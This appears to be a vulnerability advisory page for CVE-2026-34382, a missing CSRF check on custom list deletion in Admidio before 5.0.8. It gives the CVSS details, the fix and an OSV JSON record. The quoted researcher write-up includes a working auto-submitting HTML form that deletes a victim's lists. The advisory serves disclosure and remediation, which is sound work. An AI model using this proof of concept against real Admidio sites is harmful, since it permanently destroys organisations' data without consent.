CVE-2026-34382: Admidio/admidio Admidio Has Missing CSRF Protections Vulnerability

MODERATE
Advisory Identifier: GHSA-g3mx-8jm6-rc85
CVSS 4.6
CWE-352
Published
Advisory Summary

CVE-2026-34382 is a MODERATE (CVSS 4.6) admidio has missing csrf protections vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting Admidio/admidio libraries in the Packagist ecosystem. The issue involves admidio has missing csrf protections on custom list deletion in mylist_function.php. Remediation is available by upgrading affected packages to version 5.0.8.

CVE-2026-34382 at a Glance

CVE Identifier CVE-2026-34382
GHSA Identifier GHSA-g3mx-8jm6-rc85
Severity MODERATE
CVSS v3.1 Base Score 4.6
CWE Classification CWE-352: Cross-Site Request Forgery (CSRF)
Affected Product Admidio/admidio
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 4.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2026-34382

To remediate this vulnerability, upgrade all affected Admidio/admidio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

admidio/admidio fixed: 5.0.8
Upgrade admidio/admidio to 5.0.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for admidio/admidio

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-34382, inspect your project dependencies for Admidio/admidio:

inspect dependencies for admidio/admidio

Analyze the terminal output to locate any version of Admidio/admidio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.0.8), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Admidio/admidio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

**Reported by:** Juan Felipe Oz [@JF0x0r](https://x.com/PwnedRar_) > [LinkedIn](https://www.linkedin.com/in/juanfelipeoz/) ### Summary The `delete` mode handler in `mylist_function.php` permanently deletes list configurations without validating a CSRF token. An attacker who can lure an authenticated user to a malicious page can silently destroy that user's list configurations — including organization-wide shared lists when the victim holds administrator rights. ### Vulnerable Code File: `modules/groups-roles/mylist_function.php` The CSRF token validation at lines **81–82** is scoped exclusively to the save, save_as, and save_temporary modes: ```php // Line 81-82 — only runs for save modes $categoryReportConfigForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']); if ($_POST['adm_csrf_token'] !== $categoryReportConfigForm->getCsrfToken()) { throw new Exception('Invalid or missing CSRF token!'); } ``` <img width="857" height="162" alt="imagen" src="https://github.com/user-attachments/assets/caec390e-ba6f-40f0-bb9c-a8870679da3d" /> The `delete` case at lines **159–161** executes the destructive operation with no token check: ```php } elseif ($getMode === 'delete') { // delete list configuration $list->delete(); // no CSRF validation echo json_encode(array('status' => 'success', ...)); exit(); } ``` <img width="560" height="133" alt="imagen" src="https://github.com/user-attachments/assets/2d5eff8e-bbce-49b9-b6d5-77f4e2e6db69" /> A global input guard at lines **40–48** requires a non-empty `column[]` POST parameter for all modes including `delete`. This guard serves no security purpose for deletion, it exists for save validation but it must be satisfied to reach the delete handler. Any static value such as `LAST_NAME` is sufficient. ### Impact Any authenticated user with list edit permission can be targeted. Admidio ships with six organization-wide shared lists (`lst_global = 1`): Address list, Phone list, Contact information, Membership, Members, and Contacts. When an administrator is the CSRF victim, these global lists are permanently deleted affecting all members of the organization. There is no soft-delete or recovery mechanism. --- ### Proof of Concept > First my video PoC, after that, the proof of concept with detail. [Watch Video](https://drive.google.com/file/d/1wEdTIH7O0PvlnyjR2I_VpcAl3tvr6saA/view?usp=sharing) * Prerequisites: Victim is authenticated in Admidio. Attacker knows the target list UUID (visible in the page URL at modules/groups-roles/mylist.php?list_uuid=...) 1. Step 1: Attacker serves this page from any HTTP origin: ```html <!DOCTYPE html> <html> <body> <form id="f" method="POST" action="http://TARGET/modules/groups-roles/mylist_function.php?mode=delete&list_uuid=TARGET_UUID"> <input type="hidden" name="column[]" value="LAST_NAME"> </form> <script>document.getElementById('f').submit();</script> </body> </html> ``` > Since browsers block CSRF files, I did the proof of concept by setting up a local server with Python on the 9090. ok? 2. Step 2: Victim visits the attacker page while logged into Admidio. 3. Step 3: Server responds immediately: ```json {"status":"success","url":".../modules/groups-roles/mylist.php"} ``` 4. Step 4: List is permanently deleted. Verified via: ```sql SELECT lst_name FROM adm_lists WHERE lst_uuid='TARGET_UUID'; -- Empty result set ``` > No `adm_csrf_token` field is required anywhere in the request. ### Recommendation Fix: > It's so simple. * Apply the same `SecurityUtils::validateCsrfToken()` pattern already used in the save modes: ```php } elseif ($getMode === 'delete') { SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); $list->delete(); echo json_encode(array('status' => 'success', ...)); exit(); } ``` Additionally, the `column[]` input guard at lines **40–48** should be moved inside the `in_array($getMode, ['save', 'save_as', 'save_temporary'])` block, since delete requires no column data and the guard currently forces attackers to include a trivially satisfiable dummy value. <img width="751" height="240" alt="imagen" src="https://github.com/user-attachments/assets/607510b9-64a9-49fb-8806-604b651d31a8" />

CVE-2026-34382 Affected Admidio/admidio Versions

1 component(s)
Fixed Versions:
5.0.8
Product / Package Ecosystem Affected Versions Fixed Version
admidio/admidio
Packagist
≥ 5.0.0
< 5.0.8
5.0.8

References

Frequently Asked Questions

What is CVE-2026-34382?
CVE-2026-34382 is a security vulnerability in Admidio/admidio involving Admidio has Missing CSRF Protections on Custom List Deletion in mylist_function.php under CWE-352: Cross-Site Request Forgery (CSRF).
Which Admidio/admidio versions are affected?
Affected versions include releases prior to 5.0.8 across affected packages: admidio/admidio.
What version fixes CVE-2026-34382?
Upgrading to 5.0.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is admidio/admidio affected?
Yes, admidio/admidio is affected in releases prior to 5.0.8. Upgrade your dependency to 5.0.8 or later.
What is the CVSS score of CVE-2026-34382?
CVE-2026-34382 has a CVSS v3.1 base score of 4.6 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L.
What CWE is associated with CVE-2026-34382?
CVE-2026-34382 is classified under CWE-352: Cross-Site Request Forgery (CSRF) (The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.).
How can I check Packagist dependencies for CVE-2026-34382?
Run the dependency tree command: 'inspect dependencies for admidio/admidio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g3mx-8jm6-rc85",
  "modified" : "2026-04-06T19:41:46Z",
  "published" : "2026-03-31T23:10:41Z",
  "aliases" : [ "CVE-2026-34382" ],
  "summary" : "Admidio has Missing CSRF Protections on Custom List Deletion in mylist_function.php",
  "details" : "**Reported by:** Juan Felipe Oz [@JF0x0r](https://x.com/PwnedRar_)\n> [LinkedIn](https://www.linkedin.com/in/juanfelipeoz/)\n\n### Summary\n\nThe `delete` mode handler in `mylist_function.php` permanently deletes list configurations without validating a CSRF token. An attacker who can lure an authenticated user to a malicious page can silently destroy that user's list configurations — including organization-wide shared lists when the victim holds administrator rights.\n\n### Vulnerable Code\nFile: `modules/groups-roles/mylist_function.php`\n\nThe CSRF token validation at lines **81–82** is scoped exclusively to the save, save_as, and save_temporary modes:\n\n```php\n// Line 81-82 — only runs for save modes\n$categoryReportConfigForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);\nif ($_POST['adm_csrf_token'] !== $categoryReportConfigForm->getCsrfToken()) {\n    throw new Exception('Invalid or missing CSRF token!');\n}\n```\n\n<img width=\"857\" height=\"162\" alt=\"imagen\" src=\"https://github.com/user-attachments/assets/caec390e-ba6f-40f0-bb9c-a8870679da3d\" />\n\nThe `delete` case at lines **159–161** executes the destructive operation with no token check:\n\n```php\n} elseif ($getMode === 'delete') {\n    // delete list configuration\n    $list->delete();  // no CSRF validation\n    echo json_encode(array('status' => 'success', ...));\n    exit();\n}\n```\n\n<img width=\"560\" height=\"133\" alt=\"imagen\" src=\"https://github.com/user-attachments/assets/2d5eff8e-bbce-49b9-b6d5-77f4e2e6db69\" />\n\nA global input guard at lines **40–48** requires a non-empty `column[]` POST parameter for all modes including `delete`. This guard serves no security purpose for deletion, it exists for save validation but it must be satisfied to reach the delete handler. Any static value such as `LAST_NAME` is sufficient.\n\n### Impact\n\nAny authenticated user with list edit permission can be targeted. Admidio ships with six organization-wide shared lists (`lst_global = 1`): Address list, Phone list, Contact information, Membership, Members, and Contacts. When an administrator is the CSRF victim, these global lists are permanently deleted affecting all members of the organization. There is no soft-delete or recovery mechanism.\n\n---\n\n### Proof of Concept\n\n> First my video PoC, after that, the proof of concept with detail. \n\n[Watch Video](https://drive.google.com/file/d/1wEdTIH7O0PvlnyjR2I_VpcAl3tvr6saA/view?usp=sharing)\n\n* Prerequisites: Victim is authenticated in Admidio. Attacker knows the target list UUID (visible in the page URL at modules/groups-roles/mylist.php?list_uuid=...)\n\n1. Step 1: Attacker serves this page from any HTTP origin:\n\n```html\n<!DOCTYPE html>\n<html>\n<body>\n  <form id=\"f\" method=\"POST\"\n    action=\"http://TARGET/modules/groups-roles/mylist_function.php?mode=delete&list_uuid=TARGET_UUID\">\n    <input type=\"hidden\" name=\"column[]\" value=\"LAST_NAME\">\n  </form>\n  <script>document.getElementById('f').submit();</script>\n</body>\n</html>\n```\n\n> Since browsers block CSRF files, I did the proof of concept by setting up a local server with Python on the 9090. ok? \n\n2. Step 2: Victim visits the attacker page while logged into Admidio.\n3. Step 3: Server responds immediately:\n\n```json\n{\"status\":\"success\",\"url\":\".../modules/groups-roles/mylist.php\"}\n```\n\n4. Step 4: List is permanently deleted. Verified via:\n```sql\nSELECT lst_name FROM adm_lists WHERE lst_uuid='TARGET_UUID';\n-- Empty result set\n```\n> No `adm_csrf_token` field is required anywhere in the request.\n\n### Recommendation Fix: \n\n> It's so simple. \n\n* Apply the same `SecurityUtils::validateCsrfToken()` pattern already used in the save modes:\n\n```php\n} elseif ($getMode === 'delete') {\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n    $list->delete();\n    echo json_encode(array('status' => 'success', ...));\n    exit();\n}\n```\n\nAdditionally, the `column[]` input guard at lines **40–48** should be moved inside the `in_array($getMode, ['save', 'save_as', 'save_temporary'])` block, since delete requires no column data and the guard currently forces attackers to include a trivially satisfiable dummy value.\n\n<img width=\"751\" height=\"240\" alt=\"imagen\" src=\"https://github.com/user-attachments/assets/607510b9-64a9-49fb-8806-604b651d31a8\" />",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "admidio/admidio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0"
      }, {
        "fixed" : "5.0.8"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.0.7"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Admidio/admidio/security/advisories/GHSA-g3mx-8jm6-rc85"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34382"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Admidio/admidio/commit/317ec91ad3baf19d4179db6c32413812eb36d7ca"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Admidio/admidio"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-31T23:10:41Z",
    "nvd_published_at" : "2026-03-31T21:16:30Z"
  }
}